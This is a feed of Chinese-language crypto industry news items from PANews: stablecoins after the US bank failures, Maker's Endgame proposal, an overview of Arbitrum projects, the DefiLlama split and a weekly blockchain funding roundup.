去中心化稳定拥有诸多优点，但是也存在一个致命的缺陷，那就是超额质押导致其资金效率远低于中心化稳定币，其次在可拓展性和安全性方面与中心化稳定币也有一定的差距，但经过此次美国加密友好银行倒闭风波后，相信未来随着越来越多的机构开始重视去中心化稳定币的发展，这些问题很快会得到解决，加密行业也会迎来真正属于自己的稳定币。 自从FTX事件之后，美国监管层一直在强调加密行业对银行业的风险性，并因此展开了一系列针对涉及加密业务的银行的审查工作，希望将加密行业与传统银行系统隔绝开来。然而，USDC脱锚的事件却向我们展示了银行自身的资产错配以及财务不透明所引发的危机，进而波及到了加密行业。因此，并非所有加密业务都是高风险业务，而银行业也有自身的问题也局限性。 美国监管层针对加密友好银行的审查不仅会对加密行业造成消极影响，更关键的是阻碍了传统银行探索创新领域的机会。传统银行业需要更多的探索和创新，才能更好地适应不断变化的市场环境和完善自身机制。因此，监管部门不应该对于加密友好银行全盘否定，而是通过政策的引导创建更加安全和稳健的加密友好银行。  ( 4 min )
    百度：文心一言云服务将于3月27日上线
    PANews 3月20日消息，据金十报道，百度宣布，文心一言云服务将于3月27日14:00上线。据悉，目前已经有包括互联网、媒体、金融、保险、汽车、企业软件等行业的400多家头部企业宣布加入百度“文心一言”生态。 此前3月16日消息，百度正式发布大语言模型“文心一言”，并开放内测。百度曾表示在完成内侧后面向公众开放。  ( 4 min )
    The Sandbox计划于年底前实施Polygon ID，以增强其KYC计划
    PANews 3月20日消息，元宇宙游戏平台The Sandbox在推特上表示：“The Sandbox正在与Polygon Labs实验室合作，致力于在年底前实施Polygon ID。我们重视去中心化和隐私，并将使用Polygon ID来增强我们的KYC计划。用户的安全和隐私是我们的首要任务。” 此前3月2日消息，Polygon使用零知识证明推出Web3身份识别服务“Polygon ID”。 相关阅读：链上身份层Polygon ID：想打造Web 2体验级的Web 3身份系统  ( 4 min )
    a16z游戏投资合伙人：Web3游戏玩家比传统玩家更为硬核和老练
    作者：Robin Guo（ a16z 游戏投资合伙人） 编译：DeFi 之道 哪些人是 Web3 游戏玩家，是休闲玩家还是硬核玩家？对此，A16z Games 进行了一项调查，以进一步了解情况。 以下是该调查结果中的几个亮点： 01、抽样调查分析 让我们从市场开始，在我抽样调查的现有美国游戏玩家群体中，crypto 的普及率越来越高，但 Web3 游戏在其中还处于起步阶段，只有 6% 的游戏玩家玩过这类游戏。 在这些玩家当中，一小部分人是反对 crypto 的，而批评者往往来自两个群体：要么是新接触这个领域的休闲玩家，或者是玩了很多游戏的 hardcore 硬核游戏玩家。 除了关于扩展这个领域的明显建议（例如玩家至上、解决 UX/FTUE went、提高安全性等），我将在这个帖子中深入探讨以下几个方面： A）思考一个重置平衡可能会产生重大财务影响的经济体。 B) NFT 投放创建了一个需要积极管理的激励持有者社区。 C) 找到适合的玩家类型，也就是找到乐趣。 让我们继续深入吧? 随着时间的推移，情绪发生了一些变化，在 a16z games，我们将继续监控推动其中一些变化的因素。 当 Web3 工作室推出本质上有趣且吸引玩家的新游戏时，传统游戏玩家的看法应该会改变。 有趣的是，游戏玩家似乎不太关心某些 Web3 游戏的波动性和安全问题。 31% 的受访者只是对游戏“了解不够”，这是最主要的原因。 理解游戏的机制可能很难，而要设置一个钱包、搞清楚自托管、买代币然后购买 NFT、智能合约签名、支付 gas 费用等等，这对很多人来说是大量的认知工作，与大家已经熟悉的手游相比，要获得 Web3 游戏乐趣的时间太长了。 与我调查的非 web3 游戏玩家（其中 59% 是男性）相比，Web3 游戏玩家的男性比例更高（73%），并且他们大多数是居住在城市的 25-34 岁的富裕年轻人。 Crypto 游戏的当前采用者，往往来自高收入的城市中心，并且也往往相当精通技术。 那么……调查结果告诉了我们关于游戏玩家的哪些信息？我们样本中的玩家，往往是硬核游戏玩家，与总体平均水平相比，Web3 游戏玩家每周在主机/PC 上玩游戏的次数要多出 22-25%。 Web3 游戏玩家还喜欢传统上更“硬核”的游戏类型，例如 MOBA 和 MMO 更受 Web3 游戏玩家的欢迎，而益智游戏和生活模拟游戏则不太受他们的欢迎。 Web3 游戏玩家似乎在以前的 Web2 市场（Steam、WoW 拍卖行等）上拥有更多的数字物品交易经验，这自然会转化为在新的 crypto/ NFT 市场上交易数字物品的经验。 有趣的是，我遇到了很多人，他们花了数千小时玩老式 MMO、交易商品、购买昂贵物品、编写机器人程序，也曾被骗过一两次。 与传统游戏玩家群体相比，接受调查的 Web3 游戏玩家往往对竞争、社区和品牌更感兴趣，而不是仅仅为了“打发时间”而玩游戏。 游戏工作室应该考虑，他们是想向 Web3 游戏的早期采用者的 hardcore 群体推销，还是向更广泛的休闲玩家受众推销，因为 GTM 会有所不同。 在美国，接受调查的 Web3 游戏玩家往往比传统玩家更为硬核和老练，他们往往对打发时间的兴趣更小，并且在数字商品交易方面更有经验。 为了实现扩展， Web3 游戏可以使用其中一些游戏动机和类型来更好地了解游戏玩家的契合度。 瞄准核心或扩大广度。 除了解决 UI/UX、FTUE、诈骗等问题外，构建强大的 Web3 游戏经济是一项复杂的任务，即使在 Web2 游戏中也难以实现。 暗黑破坏神、魔兽世界、Runescape 等游戏都可以提供设计方面的课程。 注：参与这份调查的 2000 多名游戏玩家均来自美国，他们每个月会玩多次游戏。  ( 5 min )
    Maker创始人发布新“终局”治理改革提案，概述“治理参与激励”等三个主要功能及实施时间
    PANews 3月20日消息，Maker创始人Rune Christensen在治理论坛发布名为“Endgame（终局）”的治理改革提案，旨在应对区块链行业面临的关键机遇和挑战，通过建立弹性和可靠的治理平衡，使Maker治理更加高效、透明和包容Endgame还促进了可扩展和可并行的产品创新和增长战略。内容包括Endgame的3个主要功能，并给出了实施它们的大致时间表，即明确具体规则、治理参与激励、将操作复杂性从MakerDAO转移到SubDAO。 1.明确具体规则，这将在通过Maker宪法MIP提案后立即实施。Maker章程的核心规则和定义是不可更改的，以便为少数代币持有者提供保护，并防止可能使系统去中心化面临风险的范围蔓延或权力平衡的变化。这在Endgame的所有3个核心功能都已实现之前不会生效，因此仍然可以对核心规则进行早期微调。宪法选民委员会 (CVC) 是开放结构，由Maker宪法中定义的常规MKR代币持有者组成。CVC为MKR持有者提供了一个公共平台，以接收详细的状态报告和专业建议。 2.治理参与激励，将于2023年晚些时候实施；Sagittarius Engine (SE) 鼓励MKR持有人通过锁定MKR并将其投票权委托给CVC设计的治理策略来参与治理。这一过程利用了一个用户友好的、游戏化的前端，便于访问。SE用户以Dai（Maker协议盈余的25%）或SubDAO代币的形式获得改进和保护Maker治理工作的补偿。SE征收15%的退出费，当用户退出时，这笔费用将从锁定的MKR中销毁，以激励长期承诺并通过CVC等治理工具解决问题，而不是在挑战出现时退出。 3.将操作复杂性从MakerDAO转移到SubDAO，将于2024年实施。SubDAO的主要任务包括维护去中心化前端、分配Dai抵押品、处理运营效率风险、边际决策以及试验创新产品和增长战略，使Maker治理能够专注于降低尾端风险和资产负债管理。 此前去年6月份，Christensen发布了一项名为“The Endgame Plan”的新提议，核心是建立MetaDAO。今年3月10日消息，Christensen提议重塑DAI稳定币品牌，包括设计一个含有美元的新名称。  ( 4 min )
    纽约社区银行将收购Signature Bank约380亿美元资产，包括360亿美元债务
    PANews 3月20日消息，据金十报道，纽约社区银行将收购Signature Bank约380亿美元资产，包括360亿美元债务，并努力为Signature Bank客户提供次级贷款服务。纽约社区银行表示，将努力为Signature Bank的客户提供次级贷款服务。 此前今日早些时候消息，FDIC表示，Signature Bank存款将由纽约社区银行子公司承担，数字银行业务存款除外。  ( 4 min )
    空投带火生态：盘点最近爆发的 30 个Arbitrum项目
    原文作者：Korpi 原文编译：白泽研究院 Arbitrum 最近火了！ 凭借着价值 >10 亿美元的 $ARB 空投，大量资金将涌入其生态系统项目，使得流动性“水涨船高”。 本文将盘点 30 个基于 Arbitrum 的创新项目。 GMX（$GMX） GMX 是一个去中心化的永续合约交易平台，允许用户以高达 50 倍的杠杆交易 BTC、ETH 和其他加密货币，并且没有价格影响。GMX 的采用令人难以置信，总交易量已超过 1100 亿美元，总手续费用约为 1.7 亿美元。 当前市值：6.96 亿美元 Gains Network Analysis（$GNS） Gains Network 是一个去中心化的永续合约交易平台，提供加密货币、外汇、股票、商品和指数的杠杆交易。凭借 320 亿美元的总交易量和 2300 万美元的总手续费用，它已被证明是一款适合市场的产品。 当前市值：2.84 亿美元 TreasureDAO（$Magic） TreasureDAO 是一个旨在连接游戏和玩家的去中心化游戏生态系统。通过引导社区和流动性，它在为 GameFi 项目提供互操作性方面做的相当成功。 当前市值：3.73 亿美元 Dopex（$DPX） Dopex是一个去中心化的期权协议，通过“期权金库”的概念，提供期权交易。旨在通过提供公平的价格、深度的流动性和将期权卖方的损失最小化来争夺期权市场份额。 当前市值：8600 万美元 Radiant Capital（$RDNT） Radiant Capital 是一个具有全链流动性的借贷协议。这意味着你可以在一条链上存入资产，同时在另一条链上借贷。随着跨链的扩展、引入新资产和对代币经济学的改进，该协议的 V2 版本即将推出。 当前市值：9000 万美元 Premia Finance（$PREMIA） Premia Finance 是一个去中心化的期权平台，通过 AMM 以市场为导向定价。它已上线多条链，并通过提供美式期权（期权可随时行使）与竞争对手区分开来。 当前市值：6500 万美元 Lyra Finance（$LYRA） Lyra Finance 是基于 AMM 模型的去中心化期权协议。期权交易者根据流动性提供者（LP）提供的流动性资金池买卖期权，交易者产生的手续费用被支付给 LPs 作为提供流动性的奖励。LPs 还可通过自动对冲来免受无偿损失的风险。 当前市值：4900 万美元 Vela Exchange（$VELA） Vela Exchange是一个去中心化交易平台（DEX），旨在为交易者提供与中心化交易平台（CEX）相媲美的体验。它越来越受欢迎，并且最近达到了令人印象深刻的总交易量，这主要是由于即将到来的空投。 当前市值：4400 万美元 CamelotDEX（$GRAIL） CamelotDEX 是 Arbitrum 的原生 Dex，具有一些奇特的功能和代币经济学。它已经建立了许多合作伙伴关系，并已成为 Arbitrum 上新项目的主要启动平台。 当前市值：4200 万美元 Mux Protocol（$MUX） Mux Protocol 是一个 DEX，具有零价格影响和聚合流动性。该协议统一了跨多个链的流动性，并允许在其中任何一条链上进行相同深度的交易。 当前市值：3500 万美元 Pendle Finance（$PENDLE） Pendle Finance 是一个将收益资产分成本金代币和收益代币的协议。它创造了一种全新的收益交易原语——固定波动的收益或以折扣价购买资产。 当前市值：3700 万美元 OATH（$OATH） OATH 是由 DeFi 明星开发团队ByteMasons 构建的一套产品生态系统，包括货币市场、金库、稳定币、借贷等。所有元素都为质押者和协议用户产生回报，同时产生更多对协议和 $OATH 的需求。 当前市值：3200 万美元 CapDot Finance（$CAP） CapDot Finance 是一个去中心化的永续交易平台，杠杆率高达 100 倍。它支持加密货币、外汇、指数、金属交易，并允许交易者设置高级订单类型。 当前市值：3200 万美元 Hegic Options（$HEGIC） Hegic Options 是一个去中心化的期权协议，使期权交易变得极其简单。凭借其一键式交易功能，为用户提供了最大程度的简化，并且可以轻松地根据他们的交易需求进行调整。 当前市值：2300 万美元 JonesDAO Options（$JONES） JonesDAO Options 是一个旨在使复杂的 DeFi 收益策略变得简单的协议。他们的金库和收益代币可以释放流动性，并为用户提高资本效率。 当前市值：1400 万美元 Arcadeum（$ARC） Arcadeum 是一个 GambleFi（把赌博和金融投机结合）协议，一个去中心化赌场，提供透明的赔率，因此玩家不必担心被黑。该协议使用流动资金池，让 LPs 成为庄家，并从赢钱中获利。 当前市值：1400 万美元 Umami Finance（$UMAMI） Umami Finance 是一个旨在通过提供为机构投资者量身定制的 DeFi 收益产品来弥合 DeFi 和 TradFi 之间差距的协议。上个月创始人发生了一些戏剧性事件（创始人抛售 $UMAMI，24 小时跌幅高达 52.79%），但开发团队仍在致力于该项目。 当前市值：1100 万美元 Buffer Finance（$BFR） Buffer Finance 是一个去中心化的二元期权交易平台。二元期权不同于永续期权，因为交易者只押注价格上涨或下跌。交易者要么获得固定回报，要么一无所获。 当前市值：1100 万美元 SperaxUSD（$SPA） SperaxUSD 是一个用于铸造稳定币 $USDs 的去中心化协议，由符合条件的抵押品 100% 抵押铸造（包括 $USDC、$DAI 等）。由于 $USDs 的自动收益功能，用户无需抵押也可以获得收益。 收益从何而来？当 $USDs 被铸造时，抵押品被存入经审计的收益聚合器以产生收益。收益策略由 $veSPA 持有者决定，所产生收益的 50% 每周分配给 $USDs 持有者，剩下的 50% 用于回购 $SPA，一半销毁，一半分配给 $veSPA 持有者。 此外，SperaxUSD 还发布了 DEX 流动性管理器协议 (Demeter Protocol)，DAO 可以使用它在 Uniswap v3 上启动流动性池。 当前市值：1000 万美元 TridentDAO（$PSI） TridentDAO 是一家旨在改变加密游戏行业的 Web3 游戏企业。他们用 Risk-to-Earn 取代了 Play-to-Earn 的概念，玩家在游戏中观看比赛时可以下注代币以获得奖励。 当前市值：1000 万美元 Y2K Finance（$Y2K） Y2K Finance 是围绕“稳定”资产的挂钩而构建衍生产品的协议。他们的主要产品允许用户对冲稳定币的脱钩，比如最近的 USDC 事件。更多产品即将推出。 当前市值：900 万美元 Crypto Volatility Index（$GOVI） Crypto Volatility Index 是一个构建加密货币波动率的指数协议，或者说是一个用于加密货币的去中心化市场恐惧指数。CVI 允许用户在不选择涨跌方向的情况下押注市场波动。 当前市值：800 万美元 FactorDAO（$FCTR） FactorDAO 是一个允许用户创建多种资产的代币投资篮子的协议，也可以复制其他投资组合、市场中性策略等。 当前市值：800 万美元 PlutusDAO（$PLS） PlutusDAO 是 Arbitrum 上的 veTokens 治理聚合器协议。 当前市值：700 万美元 Ipro Protocol（$IPRO） Ipro Protocol 是一个允许用户对 DeFi 利率进行投机和对冲、赚取稳定币收益并获得追溯奖励的协议。 当前市值：700 万美元 Vesta Finance（$VSTA） Vesta Finance 是一个借贷协议，现在也推出了自己的稳定币 $VST。用户可以用 ETH、gOHM、GMX、GLP 或 DPX 借出 $VST。 当前市值：600 万美元 Kromatika DEX（$KROM） Kromatika DEX是一个 DEX 聚合器，没有价格滑点，没有抢先运行的机器人，拥有无 Gas 费用模式。它还提供高达 100 倍杠杆的永续合约交易，有 70 多个加密货币对，且交易费用低。 当前市值：600 万美元 WINR Protocol（$WINR） WINR 是一个用于构建 GameFi、P2E 游戏的基础设施，其核心是流动资金池（WLP）。 当前市值：600 万美元 GMD Protocol（$GMD） GMD 提供建立在 $GMX 和 $BFR 之上的 Delta-Neutrail 单一资产保险库，允许 LPs 从集成协议产生的费用中获利，同时对冲其他风险。 当前市值：500 万美元 BetSwirl（$BETS） BetSwirl 是一个 GambleFi 协议，通过 Chainlink 的随机性为其用户提供公平的赔率。它目前已上线 Avalanche、Polygon、BSC，很快就会在 Arbitrum 上部署。上周该协议的投注量超过 100 万美元，显然受到了更多关注。 当前市值：400 万美元 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 7 min )
    BitMEX已上线ARB期货合约，现报1.77美元
    PANews 3月20日消息，加密货币交易平台BitMEX已上线Arbitrum期货合约ARBUSDTM23，现报价1.770美元。  ( 4 min )
    Osmosis基金会已将至少10%财库资产兑换为比特币
    PANews 3月20日消息，Cosmos生态DEX Osmosis联合创始人Sunny Aggarwal今日凌晨在推特上表示，Osmosis基金会已将其现金财库中至少10%以上资产兑换为比特币。  ( 4 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.13—03.19）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    一文读懂最新Layer2解决方案：L1 排序的Based Rollups
    作者：Justin Drake 翻译：Junwei TLDR：在本文中，我们描述了一类特殊 rollups 的集合，称之为 “based” 或 “L1-sequenced”。这种 L1 排序的 rollup 是最简单的，并且继承了 L1 的活性和去中心化。此外，Based Rollups 与所基于的 L1 在经济上保持一致。 当 rollup 的排序由所基于的 L1 所驱动时，它被称为 “based” 或 “L1-sequenced”。更具体地说，Based Rollups 中，下一个 L1 区块的提议者（Proposer）可以与 MEV 搜寻者（Searcher）和生产者（Builder）合作，无需许可地将下一个 Rollup 区块作为一部分包含在下一个 L1 区块内。   缺点 无 MEV 收入：Based Rollups 将 MEV 放手给了 L1，使其收入限制为基本费用。与直觉相反，这可能会增加 Based Rollups 的总收入。原因是 rollup 的格局似乎是赢家通吃，获胜的 rollup 可能会利用 Based Rollups 的安全性、去中心化、简洁性和一致性来实现主导地位并最终实现收入最大化。 排序约束：将排序委托给 L1 会降低排序灵活性。这使得某些排序服务变得更加困难，甚至可能是无法实现的： 预确认：快速预确认对于中心化排序不是问题，并且可以通过外部 PoS 共识来实现。使用L1 排序进行快速预确认是一个开放性问题，有着许多有前景的研究方向，包括EigenLayer、Inclusion Lists 和 Builder Bonds。 FCFS：Arbitrum 风格的 FCFS 排序在 L1 上有待考证。EigenLayer 可能解锁 L1 的 FCFS 排序。   “Based Rollups” 这个名称源于 Base L1。这与 Coinbase 最近宣布的 Base 链有所冲突，是一个奇妙的巧合。事实上，Coinbase 在他们的 Base 公告中分享了两个设计目标： Base可以通过成为 Based Rollups 来实现无代币的去中心化。  ( 5 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.13—03.19）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    DefiLlama“分家”始末：理想敌不过“面包”，权威数据网站发币真的靠谱吗？
    本文来自Twitter，原文作者：LlamaX 项目核心贡献者 @Tendeeno 编译：Moni 3 月 19 日，链上分析平台 DefiLlama 创始人 0xngmi宣布其团队因为是否发行代币而发生分裂，目前已推出分叉版本网站 Llama.Fi。那么，这件事的来龙去脉究竟是什么呢？LlamaX 项目核心贡献者 @Tendeeno 在社交媒体以相对公正的方式对 DeFiLlama 发生的事情进行了总结—— 事实上，加密社区应该都知道 DefiLlama 并不是唯一的 llama 项目，还有 llamanodes、llamanews 和 llamafolio 等，这些项目都是完全独立运作。但是相比之下，DeFiLlama (DL) 所取得的成功可以说是其他任何项目的 100 倍（当然，其他项目也拥有非常有才华的团队，也相信他们肯定会获得成功），现在 DefiLlama 的价值已几乎占到“LlamaCorp”所有项目价值的 95% 以上。 DefiLlama 由 0xLLam4 发起，0xngmi 帮助构建，很快 0xngmi 就接管了该项目的所有工作，毫不夸张地说，对于 DefiLlama 如今的成功，0xngmi 至少承担了 90% 的责任，他不仅领导 DefiLlama 团队，同时也是 DefiLlama 的大股东。 然而目前的问题是：DefiLlama 迄今为止没有产生任何利润，这也是整个团队正在研究的东西...... 但另一位联合创始人 (0xLLam4) 觉得等不下去了，于是给出了一个可以快速盈利的解决方案：推出 DL 代币。 可是以 0xngmi 为首的团队一直反对发行代币，他们觉得从根本上说，代币没有价值，因为 DefiLlama 不是协议，代币不能合法地成为一种股权形式。不仅如此，一旦代币价格下降，人们的注意力就不会放在 DefiLlama 平台上，而是仅仅盯着价格数字。 DefiLlama 联合创始人 0xLLam4 并没有接受 0xngmi 的解释，仍然坚持表示无论是否获得 DefiLlama 团队的批准都会推出代币。在 0xngmi 看来，这种行为无疑是一种对 DefiLlama 的“恶意收购”……因为他并不希望将该项目的价值和声誉被包含在代币中。 虽然受没有团队的批准代币有可能不会启动，但让 0xngmi 没有想到的是，“DL 代币”已经启动并且已经编写代码来支持它了（DefiLlama 联合创始人 0xLLam4 没有告诉任何人）。0xngmi 认为，如果代币被发行，就真的没有回头路了，这将永远玷污 DefiLlama 的声誉，并扼杀他们多年来辛勤打造的一切。 真正的问题是，这位联合创始人已控制 DefiLlama 的官方推特和域名，这意味着他们可以随时宣布发行代币。从本质上来说，DefiLlama 的开发团队已经被当做“人质”给绑架了，所以 DefiLlama 团队决定： 如果 DL 代币发行不可避免，唯一的方法就是用一个新名称来分叉 DefiLlama 并创建一个新的推特和域名。 而这，就是为什么你会看到 DeFiLlama 团队宣布他们正在将项目分叉到 Llama.fi 的原因。 在接下来的几天里，加密社区可能会看到 llamacorp 公司中不同贡献者和员工会就谁对谁错的问题来回交锋。坦率地说，对于所有涉及人员来说，走到这一步都很糟糕。需要说明的是，DefiLlama 团队目前仍在努力寻找解决方案，最好的情况是，这是团队之间一场巨大的误会，事情最终可以友好解决。 注：@Tendeeno 已特别澄清自己只是一个无偿的社区贡献者，不在任何官方团队中，只是喜欢 DefiLlama 并希望看到它们成功。  ( 4 min )
    融资周报 | 公开融资事件22起；离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投
    本期看点 据 PANews 不完全统计，上周（3.12-3.19）全球区块链有22起投融资事件，融资总规模约1.1亿美元，与前一周相比均有所减少，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投 与离岸人民币 1:1 挂钩的 CNHC 稳定币的发行人 CNHC Group 筹集了 1000 万美元的资金。KuCoin Ventures 领投，其他投资者包括 Circle 和 IDG Capital。有了新的资金，CNH​​C 旨在扩大其稳定币的采用，尤其是在亚太地区。为此，该公司正将总部从开曼群岛迁至香港。CNHC 还计划通过招聘跨职能部门（包括运营、合规和业务发展）来增加其约 60 人的团队。 去中心化交易所Alex完成250万美元战略轮融资 比特币去中心化交易所 Alex 在战略轮融资中筹集了 250 万美元，投资者包括 Trust Machines 和 Gossamer Capital等。该交易所由两位前华尔街宽客 Chiente Hsu 和 Rachel Yu 共同创立。此次筹集的资金将用于继续在比特币生态系统中建立去中心化金融并扩大用户社区。除了去中心化交易所，Alex 还提供质押、收益农业和启动板服务。 Composable Corp完成120万美元种子轮融资，Ashbury Ventures等参投 DeFi策略协议Blueberry Protocol背后开发公司Composable Corp完成120万美元种子轮融资，Ashbury Ventures、Alchemix、Multisig Ventures、Pirata Capital等参投。Composable主要成员称，将使用该笔资金发展团队和基础设施。 Web3游戏平台Moxy完成超1000万美元融资，Shima Capital等参投 Web3游戏平台Moxy宣布已完成超1000万美元融资，Shima Capital、Polygon、MetaTope和GSR等投资方参投。Moxy基于FLOW区块链驱动的Web3游戏平台通过去中心化、安全且稳定的方式帮助包括电竞选手和其他玩家参与游戏并获得激励，同时还能让游戏开发者无缝创建基于游戏资产的NFT以推动电竞大众化，此外Moxy还使用统一数字钱包参与游戏生态让玩家存储加密货币和NFT，据悉Nolan Bushnell（Atari创始人）、Lawrence Siegel（世嘉欧洲总裁）和Tony Bickley（世嘉欧洲游戏主管）已加入Moxy团队。 GameFi孵化及发行平台TripleC完成新一轮融资，具体融资金额暂未披露 GameFi孵化及发行平台TripleC宣布完成新一轮融资，具体融资金额暂未披露。据悉，TripleC旨在孵化和发布Web 3游戏，通过一个集成游戏、钱包、NFT交易市场、SBT的一站式平台为玩家提供支持并以数字资产的形式奖励玩家。TripleC已与Century Games和Crystal Labs等世界知名游戏开发公司签署合作协议，还与日本手冢社、东京影业等知名文化娱乐公司达成战略合作。 游戏公司Bravo Ready宣布获得Aptos Labs的战略投资 游戏开发公司Bravo Ready 宣布获得 Aptos Labs 的战略投资，该投资将用于推出两个工作室之间的独家游戏合作“Aptos Arena”，以及未来 Aptos 与 BR1: INFINITE 的集成。 数字时尚公司DressX获1500万美元A轮融资 时尚科技公司 DressX 筹集了 1500 万美元的 A 轮融资，由总部位于柏林的加密货币风险投资公司 Greenfield 领投。该轮融资于 2 月底结束，参与方还包括 Slow Ventures、The Artemis Fund、Red Dao 和 Warner Music等。 虽然其大部分数字时尚产品都是链下的，但该公司已开始通过建立自己的 NFT 市场并通过与交易所 Crypto.com 合作来深入研究 web3 。 NFT社交平台Metalink完成600万美元种子轮融资，并推出其移动应用程序 NFT 投资组合管理和社交平台 Metalink 宣布了之前未公开的 600 万美元种子轮融资，投资者包括 Guy Oseary、Gary Vaynerchuk、MoonPay首席执行官 Ivan Soto-Wright、The Sandbox 创始人 Sebastien Borget、前 Coinbase 首席技术官 Balaji Srinivasan、DJ Justin Blau、Social Capital、Arrington Capital 和 Sound Ventures等。 韩国“虚拟K-pop”元宇宙公司Afun Interactive完成530万美元A轮过桥融资 韩国“虚拟K-pop”元宇宙公司Afun Interactive宣布完成70亿韩元（约合530万美元）A轮过桥融资，Shinhan Asset Management参投，该公司在此前的A轮融资中募集到100亿韩元（约合760万美元），当时投资方包括CJ Investment、Company K Partners和CJ ENM。Afun Interactive目标是成为韩国头部元宇宙公司，其首席执行官Dokyun Kwon对虚拟娱乐和元宇宙市场充满热情，希望利用3D内容制作技术构建角色IP化的“虚拟K-pop”，目前已推出了“Apoki”和“Lesha”等虚拟明星。 ShowMeta元宇宙平台完成84万美元融资 ShowMeta元宇宙平台在社交媒体平台宣布已完成84万美元的首轮融资。ShowMeta元宇宙平台将进入最后一轮测试阶段，以确保平台的可靠性和性能。参与测试的用户将会获得10万枚代币奖励。据悉，ShowMeta元宇宙平台旨在为用户提供一个无缝的游戏世界。 沙特阿拉伯NFT市场Nuqtah完成种子轮融资，Animoca Brands领投 沙特阿拉伯首个NFT市场Nuqtah宣布完成种子轮融资，Animoca Brands领投，Polygon和当地一批投资者参投，但具体融资金额暂未对外披露。该公司将利用新资金在未来12个月内扩大其在产品开发、营销、人才招聘和其他业务领域的业务。Nuqtah是第一个获得沙特通信和信息技术部和投资部许可的NFT市场，旨在帮助个人和企业轻松构建、部署和货币化NFT而无需浏览复杂的区块链基础设施，同时为NFT创建者、企业和用户赋权，以释放Web3市场并为该地区提供的新机会。 自托管加密钱包Soul Wallet完成300万美元种子轮融资 自托管加密钱包 Soul Wallet 完成300万美元种子轮融资，投资者未披露。Soul Wallet 创始人 Zeng Jiajun 曾在字节跳动和美团担任产品经理。Zeng 表示，Soul Wallet 目前正在进行内部测试，并计划在经过一系列严格审核后于第三季度或第四季度推出。该团队有十几个人，遍及美国、日本、泰国和中国。 基础设施平台TeleportDAO完成250万美元种子轮融资，AppWorks与DefinanceX领投 加拿大区块链基础设施TeleportDAO宣布完成250万美元种子轮融资，AppWorks和DefinanceX领投，Quantstamp、Coinlist、Candaq Fintech Group、SNZ Holding Limited和Gate Labs参投。本轮融资将用于产品开发和扩大团队。TeleportDAO成立于2022年2月，是一个将区块链连接在一起的去中心化基础设施，帮助开发人员构建跨链应用程序。目前，其已经在Polygon上创建了一个完全去中心化的比特币包裹器teleBTC以及交易平台TeleSwap。 区块链基础设施开发商SmoothLabs完成200万美元种子轮融资，NGC Ventures领投 主打并行交易的区块链基础设施开发商SmoothLabs宣布完成200万美元种子轮融资，由NGC Ventures领投，ArkStream Capital、Cogitent Ventures、Token Metrics、Alves Ventures等参投。据悉，Smooth是首个并行交易中间件，兼容EVM，为现有的Layer2和AppChain提供高性能交易框架，并为后续的区块链开发提供通用的交易模式。Smooth表示这笔融资资金将被用来技术研发和扩大其 12 名成员的团队。该项目预计在第三季度上线测试网。 Staging Labs完成110万美元Pre种子轮融资，NGC Ventures等参投 加密交易安全解决方案提供商Staging Labs宣布完成110万美元Pre种子轮融资，The General Partnership、Flourish Ventures、NGC Ventures、AlphaGrep、Gaingels、Kleiner Perkins、Greylock，以及ConsensSys、Coinbase、Anchorage Digital、Chainalysis、Quicknode、Merkle Science等参投，该公司希望在加密世界中建立传统金融领域里一样的监管和系统保护以抵御欺诈和诈骗。 A16z投资加密钱包基础设施初创公司Capsule 加密钱包基础设施初创公司Capsule完成未知金额融资，Andreessen Horowitz（通过其加速器Crypto Startup School）和Geometry共同领投， Spice Capital、Anchorage联合创始人 Diogo Monica和Nathan McCauley、Celo联合创始人Rene Reinsberg和Marek Olszewski以及Sommelier Finance联合创始人Zaki Manian等参投。a16z的CSS加速器计划通常会向参与的初创公司投资50万美元，以换取7%的股权。 区块链创作者互动平台GigaStar完成480万美元种子轮融资，DV Crypto VC等参投 区块链创作者互动平台GigaStar宣布完成480万美元种子轮融资，DV Crypto VC、Tomsic Holdings、Nameless Ventures和Belvedere Strategic Capital参投。GigaStar通过利用区块链技术让创作者获得更具创新的互动方式，包括粉丝激励、潜在长期版税等，目前主要支持YouTube创作者并通过推出“频道收入代币 (CRT)”帮助频道获得收入，以为新一代Web3 YouTube创作者赋能。 区块链保险科技初创公司Vitraya完成410万美元A轮融资，Xceedance参投 区块链保险科技初创公司Vitraya宣布完成410万美元A轮融资，Xceedance和一家未透露名称的投资财团参投。Vitraya主要利用人工智能和区块链技术为保险公司实现支付完整性、医疗程序和福利管理的自动化服务，帮助医院/医疗保健服务提供商、以及为消费者和企业提供健康保险产品的保险公司实现实时支付和理赔。 Web3人脉网络平台Entre完成160万美元种子轮融资，Octane Fund领投 以社区为中心的Web3人脉网络平台Entre宣布完成160万美元种子轮融资，Octane Fund领投，Service Provider Capital、CreatorLed Ventures、Kube VC、Umami Capital、Dharmesh Shah（Hubspot首席技术官）和其他一些天使投资人参投。 支付巨头Stripe以500亿美元估值完成超65亿美元融资，较2021年估值下降47% 支付巨头Stripe以500亿美元的估值完成超65亿美元I轮融资，这比其2021年950亿美元的估值低了约47%。主要投资者包括现有Stripe股东Andreessen Horowitz、Baillie Gifford、Founders Fund、General Catalyst、MSD Partners和Thrive Capital，以及包括GIC、高盛资产和财富管理以及淡马锡在内的新投资者。高盛担任新一轮融资的独家配售代理，摩根大通担任财务顾问。募集的资金将用于为现任和前任员工提供流动性，并解决与股权奖励相关的员工预扣税义务，导致Stripe股票的退役，这将抵消向第一轮投资者发行的新股。Stripe不需要这笔资金来运营业务。 Web3数字银行及支付公司Ibanera完成1850万美元融资，Emerchantpay Limited参投 专注于为Web3平台提供嵌入式支付服务的数字银行及支付公司Ibanera宣布以1.95亿美元的贴现估值完成1850万美元融资，欧洲支付公司Emerchantpay 